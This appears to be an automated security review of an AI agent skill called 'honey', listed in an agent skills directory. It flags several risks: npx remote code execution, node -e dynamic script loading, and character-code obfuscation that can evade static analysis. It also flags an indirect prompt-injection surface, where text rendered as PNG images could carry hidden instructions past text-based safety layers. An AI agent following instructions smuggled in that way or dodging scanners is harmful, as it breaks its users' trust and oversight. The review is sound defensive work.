The Agent Skills Directory

[REMOTE_CODE_EXECUTION]: The skill instructs the agent to execute npx pxpipe-proxy and mentions an external eson codec. Using npx involves downloading and running code from the npm registry at runtime, which is a significant security risk if the package is unverified.
[COMMAND_EXECUTION]: The skill mandates the use of shell commands for state management and data optimization, including node -e and piping data to eson stash and eson crush. These commands give the agent broad execution capabilities.
[DYNAMIC_EXECUTION]: The state-toggling feature uses a complex node -e command that dynamically loads and executes a script (honey-state.js) using internal Node.js APIs (runMain). The script path is constructed and modified at runtime.
[OBFUSCATION]: The node -e command utilizes String.fromCharCode(92) to represent a backslash character. While likely intended for cross-platform path compatibility, using character codes instead of literal characters is a common technique to evade static analysis filters.
[INDIRECT_PROMPT_INJECTION]: The 'PX' (image-rendered reads) feature suggests converting large amounts of text into PNG images for the agent to 'skim'. This unconventional data ingestion method creates a surface where malicious instructions could be embedded in visual data, potentially bypassing text-based safety layers.
Ingestion points: External files or command outputs converted to PNG via pxpipe-proxy (SKILL.md).
Boundary markers: None mentioned for the image-based data ingestion.
Capability inventory: Shell command execution, file system access, and npx remote execution capabilities are present across the skill instructions.
Sanitization: No validation or sanitization of the input files is described before they are passed to the image conversion process.

honey